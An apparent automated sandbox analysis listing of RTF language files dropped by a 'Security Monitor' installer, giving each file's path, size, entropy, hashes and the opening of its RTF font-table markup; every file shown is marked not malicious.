C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66624
Entropy (8bit):	5.059280595618483
Encrypted:	false
SSDEEP:	768:ZFRfhqedVWGV79ka9aTwjjJ6jNxLUsQZZ6jNcLUsQZZ6jNdLUsQZZ6jNZLUsQZZB:ZJw+PLTJYsdhYX
MD5:	6D34D466F1C68F15A6CC32AAE4E3E2D1
SHA1:	3F4DCE2646758CEF37887EBE9772970420FF6C2E
SHA-256:	92A2850CEC25C5578A53179E385BA1C32C3F41AAAEF0EC653FCCA133DA2DB5A7
SHA-512:	B67C4678925D41CAAC364BF4C75F1F407AEC91915121EA6BE3AF0794C63001330BC775F06BFB1E9F49B42494AA856A6C0D66D6114D9D0CA9F0B53DABF77A9E8E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-03IPS.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42485
Entropy (8bit):	5.10644966338614
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseR6NnE0/z3OgwXG6Iq:TL423OgwXG6Iq
MD5:	2F22B5B2B29308EFA8F83A2A7756F134
SHA1:	5AA36D0592B3A10518F28AFA7C65D338FD29B64E
SHA-256:	F19658BABB054B874513345E81C3F3294FABF41C2F1A35B245510E307F782A5C
SHA-512:	34902F5B360C5DA92E49B7C22D18250D504CF3186F229FADE902AFE617B3B13D47D0E8CB11B2423F8A1DA487B1140D96DCCB22613EE16D3ACB9BFB5DD72F1071
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-2CHSA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	56877
Entropy (8bit):	5.08048638360949
Encrypted:	false
SSDEEP:	768:XFRf9q5GHTwjjJ6jNBmuIV3brtE/TnFkUpvMT1u55U4hU8Gs2PsYyCGsDt/8pA1T:XV/wT1QgfTHJ3
MD5:	300A9C30F7C747136B0481B5765852E8
SHA1:	A7DFA3454EDA5842B17AC27684B359EFBE68DF52
SHA-256:	878EFDAD351F09C39DE3B711B25265E029847775500FE0C407D87898BD270158
SHA-512:	9B989F4C7A3983F869C3F4FA694FF0B27661C4A88853684D84531ED12B317EE3172C1D9E0A100FBD6413ABE97FE50F6DB71A8DC3BF27F3716476830EC76683BC
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-583BD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42048
Entropy (8bit):	5.112920780203348
Encrypted:	false
SSDEEP:	768:TLyrsEue7ccoHUVQtqpBMV8SLpmo+6Xl5m/z3OgwXG6Ie:THEr3OgwXG6Ie
MD5:	FEC5348E8803947C2A90184FABCDCF6B
SHA1:	2D43C953E0DF8C80BAE2FE19792A1A0E1CDD33A5
SHA-256:	EB1C7F1EA6A62EC39DE6528B68F112EDB8E137106627A706DAC5F5E73EF4B785
SHA-512:	435FD2FCB064017FB68BEE751B1DCABB134867B8E27312D25589B10C87EDC68D74F52EDE56039A1E0395CEF9568DC72AA223B9EAAFA3AF09A079F9AB1C29A4D8
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f41\fbidi \fswiss\fcharset162\fprq2 Arial CYR;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-5CVA8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	42288
Entropy (8bit):	5.108390882492053
Encrypted:	false
SSDEEP:	768:TLMrUuh04mIYKRXOYIX6tS+zdGA+ElGj/zdUIpeabvJ:T9B3dUIpeabvJ
MD5:	97897027B8B5FE133581EA13A6EE7976
SHA1:	614F116D74418D950D6E6D0989BF7249ED77721B
SHA-256:	4E4734B0CE3DCFBAF08B4EBE18926E6AE6E63A50F0C4CB6D47452EACF9253F2D
SHA-512:	00755B8B03BC8A83B36103E79C7FF62BA50816C4669A8CBBFADC4CD52E31037BE1ECD3CA93EC1A3B5D28363F54E49E3C91F461D6BB7664FA7D7327BEE75B9780
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f030202

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-7U44V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	50542
Entropy (8bit):	5.082123818083202
Encrypted:	false
SSDEEP:	768:0LMrbAKeJcmz0s4ieSRukoMV8SLpmo8uSYSyWBKnObct3/nf4qY3BtHn+/z3Ogwa:08A7YM3OgwXG6I5
MD5:	8375A1338E343C284BB1EA8461B16EF5
SHA1:	5329FB0F5AFB566177F45FE49A7FF0411571CB6C
SHA-256:	6024A7AA29911E5D8670FC1028749D736D95115AA89E07DC00C823E68101B032
SHA-512:	98D1213836A17D44072B11488BF9FB5DF408A3B7E1D0EED7CAE13C3C6DDEF09EE52C613C20C7277410BAFD57644A88B4EF9286B9BB5D31C79DB6E9D30F4317AF
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-8QP2V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41095
Entropy (8bit):	5.105004070141461
Encrypted:	false
SSDEEP:	768:0LMrbpuh4puRkAzKqCV9mdecy46Xo/zdUIpeabve:08pxnmdq46IdUIpeabve
MD5:	90E7A977D4DF30B041F323B8039EC7CF
SHA1:	792587C64C654021CEBEC446E6DDB08A49D1B2DA
SHA-256:	F7E70A032DFF7371ADB12C85526C4A5F75F8B4C381EAC028873B8DB8AC0F77B3
SHA-512:	E35BB3A910EB4D5CB2249E3833A02C41153EB88B02C5FC949B4FFE7C0F6CF436F2BEB977670FF1155F89774C2499C15453A468D3A094DF6370C02C0954E291A1
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-9F2RK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37812
Entropy (8bit):	5.098588085153387
Encrypted:	false
SSDEEP:	768:0LMrbpuhyiJXQIfR8+mo2VB/zdUIpeabva:08py5WdUIpeabva
MD5:	32604687CD540ED2D4E66FEE8FB4A125
SHA1:	29FE76F14A1D21DF0E2AF0DF2C84255E734C020D
SHA-256:	8EAD5B5379FB2F98AFF59D49A2BD8224A93702CACA0DE228A65449A91DFD87DC
SHA-512:	1C1B8F794DDB946B983A3193B5FD7DAC373EEE11CB5BA27FE8B0723B00C230971E6C722EBA5C52CAD1234AF41DD98FCFD0AAFBE1F44F474EFCDD59DCA3BBBC49
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-CSDRP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	37709
Entropy (8bit):	5.097982097595037
Encrypted:	false
SSDEEP:	384:0LMrCVmd0XKvpXnKnfmuh4jc0IXjFkjWrjfjOjWj3Q1/i6rGsqFwhR/MizFZKeBt:0LMrHuh4puRkAzKqLQ1l/zdUIpeabvr
MD5:	B6940DC6E8FD337224A965573CCC6C96
SHA1:	07F590E24341EA99AD71840F0ACE09FE7BDFD3D3
SHA-256:	D6B44A01370E7516DE60CB797FB79D01BFD0A1734FA8EF227B7537A7676C29AE
SHA-512:	CD3BC33236797086019006FFB4CFE5DDD3F796A1966A008832DDE0EC10DB6082D3ACAA2EFE5487EC419B89BA9A39B2B96309C639A4F3EA0F22FD505F4417A9D5
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-DSAIP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	66624
Entropy (8bit):	5.059280595618483
Encrypted:	false
SSDEEP:	768:ZFRfhqedVWGV79ka9aTwjjJ6jNxLUsQZZ6jNcLUsQZZ6jNdLUsQZZ6jNZLUsQZZB:ZJw+PLTJYsdhYX
MD5:	6D34D466F1C68F15A6CC32AAE4E3E2D1
SHA1:	3F4DCE2646758CEF37887EBE9772970420FF6C2E
SHA-256:	92A2850CEC25C5578A53179E385BA1C32C3F41AAAEF0EC653FCCA133DA2DB5A7
SHA-512:	B67C4678925D41CAAC364BF4C75F1F407AEC91915121EA6BE3AF0794C63001330BC775F06BFB1E9F49B42494AA856A6C0D66D6114D9D0CA9F0B53DABF77A9E8E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1049\deflangfe1049\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-EAD4O.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	45800
Entropy (8bit):	5.097060523282222
Encrypted:	false
SSDEEP:	768:0LMrb5Ke8ctMRcPMRC90OmDcPMRC90Okj+yXpcrb+/z3OgwXG6IN:085ERZau3OgwXG6IN
MD5:	BF226FC63E045046722D8F7D54D3CD48
SHA1:	6134D8D56E0E9FADBCB931CD091513E69A766D33
SHA-256:	1BC9F58D4EC025B08FF100A71397F11FDE77AFF49271545A7C91ABCECB95BD39
SHA-512:	EAA01E5017FE5E9EB5C383C708F0229AFFE70E465D7460BDA475117BD56B12DC52669D59DFEADD28EB8B82696ECB48BF8F0F6BF13422D733FBD98EDD54E7A10B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0302020204030204}Calibri Light;}{\fbimajor\f31503\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset162\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbminor

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-FFQ50.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43496
Entropy (8bit):	5.1077571102439245
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRIMXyTsx/z3OgwXG6I2:TL4P3OgwXG6I2
MD5:	FDD5D42614DC8C5255D6808F5FB9E756
SHA1:	462F1BE33F4DE680C46F27A2732136F2A96EFB29
SHA-256:	1615765F4CC8649F16975820F90F5FA6117F28CD97771021C8C8449B169B6DF7
SHA-512:	46CD50DDBE274A62EC6E9D8650A71C16D4B213E56700CDB5FDE6BB880CC2096BD21934BADD8B27076313E9F57DAE468F431674B7D55D65C59C4B0DEA6922307B
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-FTU8J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	43858
Entropy (8bit):	5.1066210164319585
Encrypted:	false
SSDEEP:	768:TLmrs4sw9FmdVFroAWBmho4cnTseR4Jv6YfpgC/z3OgwXG6I7:TL4w3OgwXG6I7
MD5:	47A87D6CE96B1DCA2C609A778373485D
SHA1:	15823BE17A06C6C57EBAF6D0E55F56EBF0EFE98F
SHA-256:	9276B70DE54E2675E72A84AE277563D4518A0DC56565379378A7CC3B10488697
SHA-512:	D717567ED8C4A25270312E31F2481241A9B164B8A04D19C68A1BF3F9BD8890F99C3A0F4A76AFD6A4A24208F1BE16D9F10FCEEB36099828FCD3F35AC8E92C498E
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Ro

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\turkish\is-GQN9V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-227NI.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1254, default middle east language ID 1025
Category:	dropped
Size (bytes):	41746
Entropy (8bit):	5.1082830705303195
Encrypted:	false
SSDEEP:	768:TLmrs4sAvnoBVFroAWBmho4cnTseRnomp/z3OgwXG6Ik:TL433OgwXG6Ik
MD5:	66827CCAAE125825B1E69A77C2F3C184
SHA1:	AF5BE3BBE593D4327EA77157EE4780A185C50710
SHA-256:	6444F8ADA3675836844F7320C0F588572EE3D7C890A4DD5E8132CB17DC7FCBAA
SHA-512:	526058E0E367398C4E3295DA8B0F07118A1DF628DE4CBEDE276516E1FB045A33B2757768AE3713833F24A23E49667BC33BA43679844B0E68A9843CE390416984
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1254\uc1\adeff0\deff0\stshfdbch0\stshfloch37\stshfhich37\stshfbi37\deflang1055\deflangfe1055\themelang1055\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset162\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset162\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset162\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset162\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset162\fprq2{\\panose 020f0502020204030204}Calibri;}{\f39\fbidi \fswiss\fcharset162\fprq2{\\panose 00000000000000000000}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset162\fprq2{\\panose 